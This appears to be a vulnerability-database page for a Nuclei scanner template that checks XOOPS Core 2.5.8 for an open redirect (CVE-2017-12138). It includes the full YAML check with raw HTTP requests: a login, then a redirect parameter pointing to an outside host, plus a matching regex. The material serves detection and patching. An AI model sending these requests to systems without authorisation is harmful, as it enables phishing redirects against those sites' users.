Browse / CVEs / CVE-2017-12138
CVE-2017-12138· xoops / xoops· CWE-601
XOOPS Core 2.5.8 - Open Redirect
XOOPS Core 2.5.8 contains an open redirect vulnerability in /modules/profile/index.php due to the URL filter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
Impact
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
Fix
Apply the latest security patch or upgrade to a newer version of XOOPS Core to fix the open redirect vulnerability.
How to confirm it
Send: POST /user.php ; GET /modules/profile/index.php?op=main&xoops_redirect=https:www.interact.sh
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*…/Run it with nuclei: nuclei -id CVE-2017-12138 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2017-12138
info:
name: XOOPS Core 2.5.8 - Open Redirect
author: 0x_Akoko
severity: medium
description: XOOPS Core 2.5.8 contains an open redirect vulnerability in /modules/profile/index.php due to the URL filter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
remediation: |
Apply the latest security patch or upgrade to a newer version of XOOPS Core to fix the open redirect vulnerability.
reference:
- https://github.com/XOOPS/XoopsCore25/issues/523
- https://xoops.org
- https://nvd.nist.gov/vuln/detail/CVE-2017-12138
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-12138
cwe-id: CWE-601
epss-score: 0.03406
epss-percentile: 0.88971
cpe: cpe:2.3:a:xoops:xoops:2.5.8:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: xoops
product: xoops
tags: cve,cve2017,redirect,xoops,authenticated,vuln
http:
- raw:
- |
POST /user.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
uname={{username}}&pass={{password}}&xoops_redirect=%2Findex.php&op=login
- |
GET /modules/profile/index.php?op=main&xoops_redirect=https:www.interact.sh HTTP/1.1
Host: {{Hostname}}
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1References
- https://github.com/XOOPS/XoopsCore25/issues/523
- https://xoops.org
- https://nvd.nist.gov/vuln/detail/CVE-2017-12138
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from